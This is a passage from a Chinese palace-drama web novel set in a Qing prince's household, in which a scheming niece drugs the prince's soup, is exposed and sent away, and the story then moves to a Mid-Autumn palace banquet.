李允蓉接过檀木盒子,朝着上首的乌拉那拉氏福身道:“小女多谢福晋厚爱。” 待李侧福晋与李允蓉走后,银烛迫不及待的开了口:“福晋,这李侧福晋的侄女说起话来,可比李侧福晋让人舒服多了。” 流萤却道:“福晋,李侧福晋突然接侄女进府小住,怕是没那么简单吧。” 乌拉那拉氏端起了手边的茶盏,抬眸道:“弘时马上就到娶福晋的年纪了,你说呢?” 另一边,回碧波苑的路上,李侧福晋撇了撇嘴:“允蓉,几年不见,你倒是越发会说话了。” 李允蓉抬起手亲昵的挽住了李侧福晋的小臂:“姑母,福晋面前,侄女不过是说些客套话罢了,姑母先福晋进府,在王府受宠多年,姑母的美貌才是天下无双的。” 李侧福晋听了这话,不禁嘴角上扬,心情舒畅多了,随即又压了压嘴角自谦起来:“那都是以前的事儿了,你姑母如今在王府的地位可是大不如前了,要不是你额娘一直写信央求,我也不必花心思、费力气将你接进这府里来。” 李允蓉看得出来李侧福晋是在口是心非,便接着奉承道:“姑母,您为王爷生下了三子一女,劳苦功高,我额娘时常说,家里的日子过得好,都是倚仗了姑母。” 李侧福晋听了这话,脸上的笑容越发灿烂了:“允蓉,你额娘的心思我明白,弘时眼看就到了娶福晋的年纪了,亲上加亲固然是好,可弘时到底是爷的长子,他将来的福晋定是出自高门大家的,咱们李家到底差了些,不过你也 别灰心,等将来弘时做了世子,我定会去求爷让弘时纳你做个贵妾,来日弘时承袭了雍亲王府,你做个侧福晋还不是轻而易举的事儿。” 李允蓉一顿,随即陪笑:“是,姑母深谋远虑,侄女谢过姑母。” “你刚进府,四处转转吧,我乏了,回去歇着了。”李侧福晋说着,看向了夏婵。 夏婵从李允蓉的丫鬟月柳手里拿过了那装着白玉镯的檀木盒子。 李侧福晋笑意吟吟的开了口:“福晋赏的镯子,你戴在腕子上磕了碰了倒是不好,姑母我先替你保管着。” 李允蓉闻言,抬手打开了夏婵手里的檀木盒子,将白玉镯取出来转而戴在了李侧福晋的手腕上:“这镯子本就是福晋看在姑母的面儿上才赏我的,该是我孝敬给姑母才是。” “好侄女,那姑母便领了你的心意了。”李侧福晋说完,便甩着帕子笑呵呵的走远了。 月柳看着李侧福晋走远的背影,替自家主子打抱不平起来:“小姐,夫人可是给了侧福晋一副红宝石头面,她才松口求王爷让您进府小住的,如今刚来第一日,竟连福晋赏您的白玉镯都不放过。” 李允蓉出声低斥:“这是雍亲王府,不是李府,说话仔细些。” 月柳颔首:“是,小姐。” 下午,李侧福晋带着李允蓉来到了弘晏等人练习射箭的场所。 弘时率先发现了李侧福晋,将手中的弓箭给了贴身的小太监,便跑过去喊道:“额娘,你怎么来了!” 弘晏、弘昼、弘历听到了弘时的话,便将手中的弓箭放下,过去给李侧福晋请安去了。 李侧福晋笑吟吟的介绍起来:“弘时,这是你表姐允蓉,你可还认识?” 李允蓉福身道:“小女见过四位阿哥。” 李允蓉话落,眼睛向上一挑看向了弘时。 弘时陡然红了耳朵:“表姐好。” 他上次见这位表姐已然是几年前的事情了。 “允蓉要在王府小住几日,我带她来便是叫她认认脸。”李侧福晋说完,又道:“你们练习射箭辛苦,我叫人炖了桂圆羹。” “多谢李姨娘。”弘晏等人说完,便跟着夏婵去分桂圆羹了。 “允蓉,你也去帮忙吧。”李侧福晋出声说道。 李允蓉朝着李侧福晋福身后,又对着弘时羞怯一笑,方才转身走过去。 弘时的耳朵更加红了。 李侧福晋见状,没好气的抬手戳了戳弘时的脑袋:“人都走远了,还看。” 弘时赶忙将眼神收回来,不好意思的低声说:“几年不见,表姐已然出落的这般漂亮了。” 李侧福晋哼道:“这世上比她漂亮的人多的是,你是要做世子的,得娶出身高的女子做福晋,至于允蓉,给你做个妾便是抬举了。” 弘时很是错愕:“做妾?那岂不是太委屈表姐了,她岂能答应?” 李侧福晋给弘时整理着衣裳:“这就不关你的事了,你只需记住好好读书,练习骑射,讨你阿玛开心便是。” 到了第二日下午,正在偷懒的弘昼瞧见李允蓉带着丫鬟月柳朝着他们走来了。 “六弟,你快瞧,三哥的那位表姐又来了。”弘昼忙对着弘晏说道。 正在瞄准的箭靶的弘晏听了这话,并未扭头看:“与咱们没关系,肯定是来找三哥的。” 弘晏说完这话,便将手中的箭射了出去,正中靶心的位子。 “六阿哥好箭法。” 一道清亮的女声从身后传来,弘晏扭头去看,正是李允蓉。 出于礼貌,弘晏开始寒暄:“原来是李家表姐啊。” 李允蓉柔柔笑着:“六阿哥练习射箭辛苦,我特意做了桂花酒酿小圆子,阿哥不妨吃上一碗,歇一歇再练。” 弘昼一听有好吃的,立马凑过来问道:“李家表姐,有我的份儿吗?” 李允蓉点头:“当然,几位阿哥都有。” 李允蓉说完,便看向了身旁拎着食盒的月柳。 月柳请弘晏、弘昼和弘历到石桌旁坐着,开始给他们三人分桂花酒酿小圆子。 李允蓉瞧着弘时站在原地未动,心下了然,便抬步走了过去。 弘时弯弓搭箭,眼睛虽然一直瞄着箭靶,但余光一直注意着李允蓉的动向,见李允蓉走近,弘时有些紧张,但强装镇定,摆出一副胸有成竹的模样将手中的箭射了出去。 而那支羽箭水灵灵的与箭靶擦肩而过。 竟然脱靶了! 弘时窘迫急了,恨不得找个地缝钻进去。 李允蓉却一幅什么都没瞧见的模样,温柔的开口:“三阿哥,用碗桂花酒酿小圆子吧。” 弘时看了李允蓉一眼,便连忙垂眸点头:“好,多谢表姐。” 李允蓉维护了他的脸面,情窦初开的弘时对李允蓉的那点儿子喜欢又多了几分。 而石桌那边的弘晏,正陶醉在桂花酒酿小圆子的美味中无法自拔。 来到这个世界六年了,他终于吃到心心念念的桂花酒酿小圆子了! 乌拉那拉氏从前一直说等他长大了才能吃桂花酒酿小圆子,却一直都没有给他一个准确的数字。 今天,他终于一解馋虫了。 加了酒酿的桂花小圆子,多了一股淡淡的酒香味。 这酒香味与桂花香混合在一起,再加上Q/Q弹弹的小圆子,三种味道一起进入他的舌尖,使得咀嚼的口感更加丰富了。 弘晏很快便吃完了桂花酒酿小圆子。 弘历也吃完了一碗,而同样的时间里,弘昼已然干完两碗了。 弘历瞧着两只空碗,开始劝:“五弟,你别吃那么多,不好消化的。” 弘昼摸了摸肚子:“我已经吃饱了,四哥,六弟,走吧,咱们继续射箭去。” 待弘晏、弘昼、弘历三人走后,石桌旁便只剩下了李允蓉与弘时。 弘时想要和李允蓉多待一会儿,便故意吃得很慢,一个小圆子在口中咀嚼了几十下方才咽下去。 同时,弘时还忍不住偷偷瞧上一眼李允蓉,又赶在李允蓉发觉之前,赶忙将自己的视线收回来。 只是,弘时忘了他手里还端着碗、拿着羹匙。 那手腕一动,羹匙倾斜,桂花酒酿小圆子的汤汁便洒在了衣袍上。 弘时赶忙将碗放在石桌上,转而在衣襟里摸索自己的帕子。 这时,李允蓉将自己的手帕递了过去。 弘时一愣:“多谢表姐。” 弘时双手接过了李允蓉的手帕。 李允蓉笑了笑,便起身走了。 弘时拿着李允蓉的手帕,却不舍得擦衣袍,而是鬼使神差的拿起来放到鼻尖下闻了闻。 好香的味道。 最后,弘时将李允蓉的手帕藏进衣襟里,用自己的帕子擦了衣袍上的羹渍。 第118章 第118章吃人嘴软 弘时瞧着李允蓉走远了,便也起身跟回去了。 李允蓉瞧见属于弘晏的箭靶上插了两支羽箭,两支羽箭又都在靶心,便出言夸道:“六阿哥的箭法真好。” 弘晏闻言,笑着道:“李家表姐过誉了。” 李允蓉看着弘晏,缓缓开口:“阿哥不必谦虚,我一直瞧着阿哥射箭也有些心痒痒呢,阿哥可愿意教一教我?” 弘晏一愣,又瞧着弘时已然来到了李允蓉身旁,便提议道:“ 我刚学射箭不久,李家表姐若想学,不妨叫三哥教你吧,三哥习射箭多年了,自然是比我强的。” 对于弘晏的提议,弘时心里是很乐意的,虽然他的箭法不是很精准,但是能教李允蓉入门,是没问题的,是以弘时看向李允蓉的眼神含着满满的期待。 李允蓉的余光能察觉到弘时正看着自己,但李允蓉并未给弘时眼神,而是柔柔的看向弘晏:“男女有别,怕是不妥,六阿哥这是嫌我愚钝,不肯教我吗?” 弘时听了李允蓉的话,方才还闪着星光的眼睛,如今已然黯淡了下去。 弘时嗫嚅着嘴唇想要争取,可是又觉得自己这样做太过唐突无礼,毕竟,额娘与他私下说的话是一回事,真正行过娶亲礼又是另一回事。 而且,李允蓉的话里提到了“男女有别”,此刻的弘时觉得李允蓉好心借自己手帕擦身上的羹渍,自己却将手帕私藏起来是一种小人的行径。 愧疚涌上心头,弘时摸向了自己的衣襟。 他想要将手帕会还给李允蓉。 可是,若是此刻从怀中掏出来帕子,李允蓉又会如何看待他? 弘时陷入了进退两难的地步。 而弘晏听了李允蓉的话,一时也无话可以回绝了。 一来,她与弘时虽然有表姐弟这一层的关系在,但男未婚、女未嫁,而且在这个时代,表哥表妹成亲也不是什么稀罕事,是以避嫌的确还是要紧的。 二来,他虽然也是男的,但也只是一个六岁的娃娃,所以他来教李允蓉并不会有什么流言传出去。 三来,他方才吃了李允蓉送来的桂花酒酿小圆子。有道是:拿人的手短,吃人的嘴软。 是以,弘晏思忖过后,便答应了李允蓉。 “李家表姐既然要学,不妨就用我这把弓吧。”弘晏说着,将自己手里的弓递给了李允蓉。 他这把弓的弓力对于一个成年男子来说,是太弱了些,但李允蓉是一个十指不沾阳春水的闺阁女子,学射箭不过是一时兴起,所以便够用了。 李允蓉接过弓以后,弘晏便学着谙达的模样来教李允蓉射箭的要领。 李允蓉认真听着,而后瞄准将弓弦上的羽箭射了出去,那羽箭插在了箭靶的外环。 弘晏这个小师傅,对于李允蓉的成绩还是很满意的,遂出言夸道:“李家表姐第一次射箭就能中靶,已然很厉害了。” “那都是六阿哥教的好,我出来也有些时辰了,便先回去了,不打扰六阿哥用功射箭了。”李允蓉笑盈盈的说完,便双手将弓还给了弘晏。 弘晏亦是双手接过了弓:“李家表姐慢走。” 李允蓉直到离开,都未再瞧过弘时,而弘时终究也没舍得将那方帕子从怀里拿出来,而是目视着李允蓉远去。 弘昼已然瞧着弘时站在这里很久了,便忍不住出声:“三哥,你的眼珠子都快黏到李家表姐身上了。” 弘时慌忙将自己太过直白的眼神收回来:“我哪有。” 弘昼咧着嘴笑:“没有你紧张什么呀。” “弘昼,练你的箭吧。”弘时说完这话,赶忙回到了自己的箭靶,继续练习射箭。 弘昼的话还没有说完,弘时就走了,他是个憋不住话的人,但是弘昼绝对不会去找两耳不闻窗外事,一心只顾射箭的弘历,便又凑到了弘晏身旁:“六弟,你说三哥是不是喜欢李家表姐啊?” 八卦不分男女,更不分年龄大小。 弘晏闻言,不答反问:“五哥,你知道什么是喜欢吗?” 弘昼笑嘿嘿的眨眼:“我当然知道了,就像你喜欢吃萝卜,而我喜欢玩。” 弘晏觉得弘昼的话很有道理,便道:“五哥,那都是你的猜测,自己说说便罢,可别到外面说去,影响不好的。” 实际上,他也认同弘昼的话。 而且,他觉得李允蓉进府或许就是为了婚事。 若依李侧福晋所言,李允蓉是来小住几日的,昨日与他们见过面打过招呼便罢,今日又特意跑来,容不得人不多想。 不过,究竟是与不是,与他都没什么关系。 “我自然明白,只不过是没见过三哥那幅紧张脸红的模样罢了。”弘昼说完,便也开始继续射箭了。 第三日下午同一时间,李允蓉又带着丫鬟月柳来了,这次送的是萝卜羹。 弘晏眼睛都亮了。 “多谢李家表姐。” 李允蓉看向了面露难色的弘昼,笑道:“五阿哥,有赤豆羹,你可要来一碗?” 弘昼立马喜笑颜开:“好啊,谢谢李家表姐。” 对于弘晏特别喜欢吃萝卜这件事,弘昼只能保持一个尊重的态度。 李允蓉给了弘昼赤豆羹后,便哥吩咐月柳再端两碗赤豆羹,一碗给弘历,另一碗则给弘时。 不是李允蓉亲自递给他的赤豆羹,弘时有些失望,同时有些羡慕弘晏与弘昼,能够拿到李允蓉亲自递来的羹汤。 弘时鼓起勇气,端着碗朝着李允蓉走了过去。 而李允蓉的余光察觉到弘时的动静时,便对着弘晏称自己还有事要忙,就带着月柳离开了。 弘时见状,赶忙迈大步走过去,可李允蓉已经走远了,弘时不好叫住李允蓉,便问向弘晏:“六弟,方才表姐与你说了什么?” 这两日,李允蓉虽然天天都来看他们射箭,可与弘晏说的话远远胜过与他说的话。 莫不是额娘私下里与李允蓉说了要给他做妾的事,所以李允蓉不高兴了,干脆不理他了? 弘晏不知弘时这么一会儿的功夫就脑补了这么多东西,只道:“李家表姐说她还有事要忙,便先回碧波苑去了。” 弘时点点头,没再说话。 他今年十五,最快也是明年要娶福晋。 额娘说的对,他要用功读书,好好练习骑马、射箭,万一哪日阿玛高兴了,他便能央求阿玛做主,将表姐嫁给自己做福晋,届时,就算额娘反对也来不及了。 弘时下定了决心后,将一碗赤豆羹吃了个干净,便专注的投入了练习中。 夜晚,胤禛依旧在书房的书案后坐着处理公务。 书案上的蜡烛快燃尽了,火焰微弱,苏培盛适时换了新的。 这时,小喜子进门禀报:“爷,李家小姐来了,说是替李侧福晋来送参汤的。” 胤禛闻言,头也未抬:“叫她进来吧。” 少顷,李允蓉拎着食盒进来,冲着上首的胤禛福身:“小女李允蓉见过王爷。” 胤禛这才抬眼看向李允蓉:“免礼。” 李允蓉娓娓道:“王爷,姑母近几日夜里总是梦见怀恪姐姐,睡不安稳,如今服下安神药已然睡下了,只是姑母惦记着王爷的身子,特命小女来送参汤。” 胤禛听完这话,看向了苏培盛。 苏培盛上前,接过了李允蓉手中的食盒。 而胤禛也在此时才正眼打量起李允蓉。 李允蓉是李侧福晋的亲侄女,与李侧福晋有三四分相像,又是花一样的年纪,胤禛透过李允蓉便看到了怀恪郡主的影子,说话的语气不禁温柔了许多:“在王府可还住得惯吗?” 李允蓉微微屈膝,说话的声音三分俏七分娇:“回王爷的话,小女虽然住在姑母的院子里,但福晋让流萤姑姑给小女的屋子里添置了不少东西,比小女在家时的闺房还要精致。” 胤禛闻言,只道:“你既然喜欢,便多住几日吧,也好多陪陪你姑母。” “是。”李允蓉说完,又看向了苏培盛放在胤禛手边的参汤:“王爷,这参汤在碧波苑晾了一盏茶的时间,如今喝着正好。” 胤禛听罢,端起参汤饮了一口:“时候不早了,你早些回去安寝吧。” 胤禛的话一落地,李允蓉立刻开口:“王爷,小女有一件要紧事要禀报王爷。” 胤禛又饮了一口参汤:“有事直说便是。” 李允蓉欲言又止,抬眼看向了苏培盛。 胤禛了然,挥了一下手,示意苏培盛出去。 待屋子里只剩下李允蓉与胤禛两个人时,李允蓉方才开了口:“王爷,姑母接我入府小住并不是因为思念母家亲人这么简单,而是……而是逼着我给三阿哥做妾。” 李允蓉说着,已然跪在了地上。 胤禛脸色一变:“起来说话,弘时的婚事还轮不到李氏做主,你又是李氏的侄女,她要扶持母家,让你给弘时做福晋岂不是更体面?” 李允蓉这才站起身来:“王爷有所不知,姑母仗着是王爷的侧福晋,在家中那是嚣张跋扈,姑母虽然也有心扶持母家,但我额娘只是阿玛续娶的夫人,姑母一直是瞧不上我额娘的,王爷想必也听说了我这几日,日日去给三阿哥送吃食,那都是姑母逼着我去的,小女虽 然出身低微,但还是懂得礼义廉耻的。” 李允蓉说得动情,脸上已然落下两行清泪来。 胤禛听罢,对李氏更加厌恶,只是瞧着面前哭得可怜兮兮的李允蓉,又压下对李氏的不满,抬眸安慰道:“你既对弘时无意,有本王在,李氏奈何不了你,先回去好生歇着吧。” “小女叩谢王爷。”李允蓉说着,便又跪下了。 胤禛见状,便起身绕过书案,想要将李允蓉扶起来,可忽而眼前的视线模糊,脑袋变得昏沉起来,胤禛赶忙抬手扶住了书案。 李允蓉见状,赶忙起身小跑过去扶住胤禛:“王爷,您没事吧。” 胤禛眼神迷离,身体里无端燥热起来,血液里好似有一群蚂蚁在啃食。 胤禛甩开李允蓉的手:“无妨。” 这一出声,胤禛才发觉自己的声音喑哑,口甘舌燥到的厉害。 胤禛双手撑着书案,强逼着自己清醒过来,而眼睛却望向了那碗方才自己喝过两口的参汤。 胤禛正起疑时,一双手从他两侧的腰间穿过,在背后环抱住了他。 李允蓉搂着胤禛的腰,将整个人都贴在胤禛的后背上,说话的声音娇软如莺:“王爷,闺阁女子向来敬佩英雄,王爷便是小女心中的英雄。” 李允蓉说着,那双手便开始在胤禛身上游走,欲解开胤禛的腰带。 第119章 第119章受情伤了 在书房外守着的苏培盛,瞧见弘晏小步子走过来,笑呵呵问道:“六阿哥,您怎么来了?” 弘晏忽闪着眼睛:“我睡不着,来找阿玛下棋。” 苏培盛闻言,笑着开口:“六阿哥,李家小姐在里面呢。” 李允蓉? 弘晏感到有些奇怪。 这时,书房里忽然传出了瓷碗破碎的声音。 弘晏与苏培盛皆是一惊。 紧接着,胤禛的声音响起:“苏培盛!” 这声音里含着怒意,苏培盛连忙打开门进去,好奇的弘晏也跟着进去了。 映入弘晏眼帘的便是胤禛阴沉着脸坐在书案后面的檀木椅上,而李允蓉倒在地上,不远处的地面上还有破碎的瓷片。 这是发生什么事了??? 书案后坐着的胤禛强撑着理智:“苏培盛,叫人看住她,快叫柳从南来。” 苏培盛赶忙去办。 而此时的弘晏发觉了胤禛的状态不对劲了。 弘晏小跑过去,一脸关切的问:“阿玛,你怎么了?” 胤禛体内的燥热之气快压不住了,嗓子沙哑,正难受的紧,只抬手揉了揉弘晏的小脑袋。 一刻钟后,胤禛服下了柳从南配的解药,已然好多了。 另外,胤禛还命苏培盛去碧波苑将李侧福晋唤来。 少顷,李侧福晋风尘仆仆的赶来:“爷,不知爷深夜叫妾身来,所谓何事?” 胤禛的黑眸里带着凌厉的光,压制着胸腔内的怒火说道:“李氏,这就是你的好侄女。” 李侧福晋一扭头,才瞥见眼尾泛红的李允蓉,很是疑惑:“允蓉?你怎么在书房,你不是去给弘时送参汤了吗?” 胤禛听了李侧福晋的话,方才明白李侧福晋早就被李允蓉蒙在鼓里了。 胤禛遂抬眸看向了柳从南。 柳从南心领神会,旋即开口:“李侧福晋,李家小姐给爷送的参汤里下了分量十足的/催/情/药。” 这/催/情/药效果威猛,胤禛虽然只喝了两口参汤,但也足够使他意乱情迷了,若非胤禛意志坚定,用理智暂时克服了情感上的欲望,李家小姐今晚便能成事了。 而此时的弘晏,将这两日李允蓉的行为举止联系起来,方才明白,李允蓉从一开始就放了一个烟雾弹,给王府众人一种错觉,她是为了和弘时结亲才借口入府小住的,而实际上她的目标从来都不是弘时,而是胤禛,他的便宜阿玛。 李侧福晋很是诧异:“催/情/药?允蓉,真是你干的?” 事情到了这个地步,李允蓉也没什么好遮掩的:“是我做的,我倾慕王爷已久,只想有一个侍奉王爷的机会。” 李允蓉说这话时,眼睛还直勾勾的望向胤禛。 李侧福晋的脑子轰然炸开,抬手就是一巴掌:“寡廉鲜耻。” 李允蓉的脸上挨了一巴掌,反倒笑了:“当年的太宗皇帝不就是娶了孝端文皇后和孝庄文皇后姑侄二人,我凭何不能想?” 李氏气得柳眉倒竖,指着李允蓉骂道:“就你?还敢与孝庄文皇后比肩?让你做弘时的妾,已然是格外抬举你了,你和你的额娘一样,都是害人的狐媚子。” 李允蓉摸向了自己的脸颊,抬了抬下巴,斜睨着李侧福晋:“比你年轻俊俏便是狐媚了?” “你……”李侧福晋气急败坏,又抬起了手,却被李允蓉给握住了手臂。 李侧福晋惊诧的看向李允蓉。 李允蓉眼睛里含着冷意:“王爷面前,姑母还是别一副市井泼妇的模样。” 话音落下,李允蓉推开了李侧福晋的手臂。 而此时的李侧福晋只觉得眼前的李允蓉陌生的紧:“允蓉,我让你做弘时的妾,你便起了报复我的心思,对不对?” 一向乖巧懂事的侄女,忽而变了一副心肠,李侧福晋只能想到这个理由。 李允蓉的嘴角一弯,冷笑道:“姑母啊姑母,弘时在你眼里是宝贝疙瘩,可在我眼中,他连一粒尘土都不如,我不过招招手,他就像个哈巴狗一样跑过来了,他文不成、武不就,连半分英雄气概都没有,你还做着弘时能当世子、将来能承袭雍亲王爵位的春秋大梦,先不提聪明伶俐的六阿哥,就是四阿哥、五阿哥,哪一个不比弘时强上百倍千倍。” “你……你竟敢这般诋毁我的弘时。”李侧福晋说着,直接上手掐住了李允蓉的脖子。 苏培盛得到胤禛的指令之后,赶忙命人将李侧福晋拉开。 李允蓉差点儿呼吸不上来:“咳,咳。” 胤禛明白了事情的始末,缓缓开了口:“李允蓉,那/催/情/药你是从何处得来的?” “自然是从家里带来的。”李允蓉说着,眼中含泪的望向了胤禛:“我对王爷一往情深,王爷却如此无情,不肯给我一个走近王爷的机会。” 胤禛对此丝毫不买账,抬眼看向了李允蓉:“你渴望的哪里是我,分明是权势和地位。” 李允蓉羽睫微闪:“我追求权势与地位有何错,难道王爷就没想过再往上走一走吗?” 李家家世不显,可她到了嫁人的年岁,登门提亲的也不在少数,比李家门楣低的她自然瞧不上,比李家门楣高的,她只能嫁给次子、庶子一类,做不了当家主母,执掌不了中馈。 而她的姑母李氏,就因嫁给了皇四子做侧福晋,身份便水涨船高了。 她李允蓉,论才貌远胜过她的姑母,凭何嫁不得皇亲国戚? 是以,有李侧福晋这一层关系,李允蓉就将主意打到了胤禛身上。 与其嫁一个才干平庸、前途未卜的弘时,不如铤而走险,嫁给雍亲王府最尊贵的主子——胤禛。 而今,储位空悬,一众皇子中胤禛的威望又最高,若能成事,她日后何愁没有好前程。 听了李允蓉的发问,胤禛只道:“追求权势和地位并无错,可你错在不该算计到我的头上来。” 他胤禛,眼里可是不揉沙子的。 “王爷既然不肯留我,那允蓉也没有活着的必要了。”李允蓉说完,便朝着墙壁冲过去。 幸而小喜子眼疾手快,用身体挡在了墙壁前面。 李允蓉这一撞,便撞在了小喜子的肚子上。 而此时,胤禛也一声令下,命人将李允蓉控制住。 胤禛开始发令:“苏培盛,将她嘴堵上,绑起来,连夜送回李府去。” 李允蓉一个闺阁女子,有此野心和谋划,又设法弄到了/催/情药/,李夫人想必是知晓的,他这么处置,已然是他给李家的最后一份体面了。 待李允蓉被押出去以后,胤禛又开始发令:“侧福晋李氏即日起禁足碧波苑,无命不得踏出一步。” 处理完这件事情,胤禛按了按眉心。 确认胤禛已然无恙后,柳从南便退下了。 胤禛把弘晏叫到身旁来:“福宝,今夜的事,吓坏了吧。” 弘晏忽闪着眼睛:“阿玛,你忘了吗?我可是在乾清宫与御史辩论过得。” 今夜这场面,虽然令他十分意外,但他还不足以被吓到。 胤禛闻言,抬手揉了揉弘晏的小脑袋:“明日你还要读书,快些回去睡吧。” 弘晏点点头:“阿玛,你也早些睡。” 到了第二日清晨,第一堂课结束之后,弘时便拉着弘晏到了无人处。 “六弟,昨晚你在阿玛书房对不对?昨晚到底发生了何事?表姐为何被送了回去?我额娘又为何被禁足了?”弘时现在有无数个疑问。 弘晏言简意赅的将事情的经过讲了一遍,略去了李允蓉诋 毁弘时的事。 弘时听罢,连连摇头:“不可能,表姐,表姐她怎么会,怎么会想要做阿玛的女人呢?” 弘晏自然明白弘时接受不了这样的事实,是以对弘时的反应并不意外。 片刻后,弘时又道:“六弟,我明白了,表姐她是气不过我额娘想让她给我做妾,所以才故意这般行事,想要气气我额娘的,对吗?” 弘晏在心中叹气。 弘时与李侧福晋果然是亲生的母子。 但弘晏还是戳破了编织了一个幻想,想要自欺欺人的弘时:“三哥,事实就是如此。” 弘时顿时红了眼眶。 弘晏明白弘时对李允蓉是动了真感情的,可他还是不忍心将李允蓉的原话告知弘时,只是安慰道:“三哥,这里无人,你想哭就哭出来吧,这样会好一些。” 弘晏说完,将空间留给了弘时,便转身离开了。 待弘晏走后,弘时从怀里掏出了李允蓉的那方手帕。 接着,弘时将这方手帕展开了。 这紫色的手帕上绣着红色的柿子。 红柿,不就是弘时的意思吗? 难道表姐从一开始就是在骗他吗? 弘时低着头,瞧着这方手帕,回忆起这几日与李允蓉相处的点点滴滴,那滚圆的泪珠子,从眼眶里接二连三的往下掉,落在了帕子上,渗透了那绣着的红色的柿子。 哭过一场,弘时用这方珍藏的帕子擦了眼睛,而后用蜡烛引燃了这方帕子,将这一切烧了个干净,只余一丝残灰。 手帕虽然烧了,但弘时的心里还是难以忘怀,几日下来总是心不在焉、魂不守舍,练习骑马时,竟然还从马背上摔了下来。 这可吓坏了弘晏等人。 幸而,弘时的腿只是皮外伤,并未伤到筋骨,但还是要仔细养着。 胤禛得知此事,便来了弘时的寝房,又叫弘晏等人出去,要单独和弘时聊一聊。 面对着胤禛,弘时羞愧的低下了头:“阿玛,你是不是也觉得我没出息。” 胤禛闻言,只道:“别人这般说不可怕,可怕的是,连你自己都没了心气儿。” 弘时鼻子一酸,哽咽道:“阿玛。” 胤禛抬手拍了拍弘时的肩膀:“好好养伤,别再胡思乱想了。” 无论如何,弘时到底是他亲生的骨肉。 弘时点头如捣蒜。 第120章 第120章风波再起 秋高气爽,金桂飘香。 日子转眼来到了八月十五中秋节。 弘晏换上了一件宝蓝色的新袍子,带着石泉在前院等着乌拉那拉氏。 少顷,眼尖的弘晏瞧着乌拉那拉氏莲步走来,哒哒的跑过去喊道:“额娘,额娘今天真好看。” 乌拉那拉氏闻言,笑道:“我们福宝也好看。”话说着,乌拉那拉氏拉起弘晏的手,母子两个一同往胤禛的书房去。 一家三口汇合完毕,便乘着马车去皇宫参加中秋家宴。 宴席上自然少不得歌舞,但弘晏还是更喜欢美食,尤其是螃蟹,弘晏如今六岁多了,也能多吃些蟹肉了。 很快,宴席过半,康熙饱腹之后,便带着众人出了大殿欣赏中秋的夜景。 黄澄澄的月亮挂在天边,宫里四处也挂起了五彩斑斓的花灯,那花灯下还带着字谜。 康熙率先猜出了一个字谜,众人皆吹捧起来。 康熙龙颜大悦,只叫众人不必拘束,可自行玩耍。 众人便三三两两的结伴而行。 十阿哥胤俄见胤禟还拎着酒壶喝个没完,出言劝道:“九哥,你喝了不少了。” 胤禟又饮下一杯:“酒可是好东西,一醉解千愁。” 胤俄继续劝:“九哥,你若醉了,万一在御前失仪,又要惹得汗阿玛不快了。” 要知道,胤禟的禁足可是在中秋节前夕才解除的。 这时,八阿哥胤禩迈步过来,嘴角挂在浅浅的笑:“是啊,九弟,还是少喝些吧。” 胤禟没理,自顾自的说道:“你们不是我,自然不知道被圈在府里是什么感受,那个在背地里算计爷的小人要是被爷查出来,爷定将他碎尸万段。” 胤禟恶狠狠的说完,又饮了一杯。 胤俄知晓胤禟心里憋屈:“九哥,杨崇远早便死了,哪里还能查出来。” 胤禩接过话茬:“是啊,九弟,说来还是老四的手伸的长,运来赌坊是你的产业,连我和老十都不知晓,他竟然能借此事做文章。” 胤俄摇摇头,对此有不同意见:“四哥怎么会傻到为了算计九哥,将他和他儿子的前程拿出来赌,也不知到底是谁的谋划,借此事一起算计四哥父子和九哥。” 胤禟越听越心烦,摆手道:“行了,你们别瞎猜了,我自会在暗地里查个清楚。” 另一边,弘晏和弘晈正准备去放烟花,却被二十三阿哥胤祁叫住了:“福宝。” 弘晏咧着嘴笑:“二十三叔。” 随即,弘晏又开始介绍起来:“二十三叔,这是十三叔的儿子弘晈,他也是你侄子。” 弘晏说完,又对着身边的弘晈说道:“弘晈弟弟,这是二十三叔。” 弘晈听罢,冲着胤祁喊道:“二十三叔好。” 六岁的胤祁笑着开口:“弘晈侄儿好。” 这时,三头身的二十四阿哥胤祕小跑过来,拉了拉胤祁的衣摆,声音软糯:“二十三哥,你去哪?” 宫里的阿哥就数胤祁和胤祕年纪最小,是以胤祕对胤祁很是依赖。 胤祁摸了摸胤祕的小脑袋瓜:“二十四弟,我来给你介绍,这是四哥的儿子福宝,这是十三哥的儿子弘晈,他们都是咱们的侄儿。” 胤祁的话音落下,弘晏主动打起了招呼:“二十四叔好,我们一起玩过竹蜻蜓的,你还记得吗?” 竹蜻蜓? 胤祕扬起小脸儿望着弘晏,随后摇了摇小脑袋。 胤祁摸着胤祕的头顶:“那时二十四弟才一岁多,不记得也是正常的。” 而弘晈紧接着也开了口:“二十四叔好。” 弘晏瞧着弘晈喊“二十四叔”那为难的小表情时,快忍不住笑出来。 当初,他第一次喊胤祁与胤祕时,也是这般模样。 “二十三叔、二十四叔,我和弘晈弟弟要去放烟花,你们要一起吗?”弘晏发出了邀请。 “好哇。”胤祁一同答应下来,便拉着胤祕和弘晏、弘晈一起去放烟花了。 不多时, 一个绚丽的大烟花在空中绽放,弘晏等人开心的不行。 正在猜字谜的弘明与弘暟瞧见了,便一起去找弘晏放烟花去了。 而在几步远站着猜字谜的弘旺,见着弘明和弘暟向着他走过来,还以为他们兄弟俩是来找自己玩的,便故作矜持的将视线收回了,却不想弘明与弘暟水灵灵的从他身旁路过,去找弘晏玩去了。 弘旺这才反应过来自己自作多情的,气得直接撕下了面前挂着的字谜。 胤禟的儿子弘晸与胤俄的儿子弘暄瞧见弘晏等人都去放烟花了,便也相约去放烟花,却被弘旺给截住了去路。 弘旺高傲的抬了抬下巴:“你们放烟花怎不叫我一起?” 弘晸反问:“你不是在猜字谜吗?” 弘旺哼道:“方才是想猜字谜,我现在又想放烟花了。” 弘旺趾高气扬的语气,让弘晸有些不爽:“你想放烟花就放呗,又没有人拦着你。” 他阿玛被禁足在府中那么久,连带着一家子都不能出门,如今好不容易皇玛法解了禁足,他可以开开心心的出来玩耍了,难道还要看弘旺的脸色不成。 弘旺拧眉:“弘晸,你这是什么意思?” 弘暄瞧着气氛不对劲,赶忙出声打起圆场来:“弘晸哥哥,大家都是要放烟花的,我们就与弘旺哥哥一起吧。” 弘暄说完,便去拉弘旺。 弘旺与弘晸都看在弘暄的面子上,没再出言争执。 三人虽然聚在了一起,可烟花却是各人放各人的,而弘旺瞧着不远处的弘晏身边围了一群人还有说有笑的,心里的不爽达到了极点,也就是此时,一个念头从他心底升起来了。 弘旺的眸子变得阴暗,嘴角却向上扬起。 片刻后,跟着弘旺的小太监林或拿来了火折和一个小爆竹。 一旁的弘暄瞧见了,便开口问:“弘旺哥哥,你这是要放爆竹?” “只放爆竹有什么意思,想不想看好戏?”弘旺说着,眼睛望向了对面不远处的弘晏。 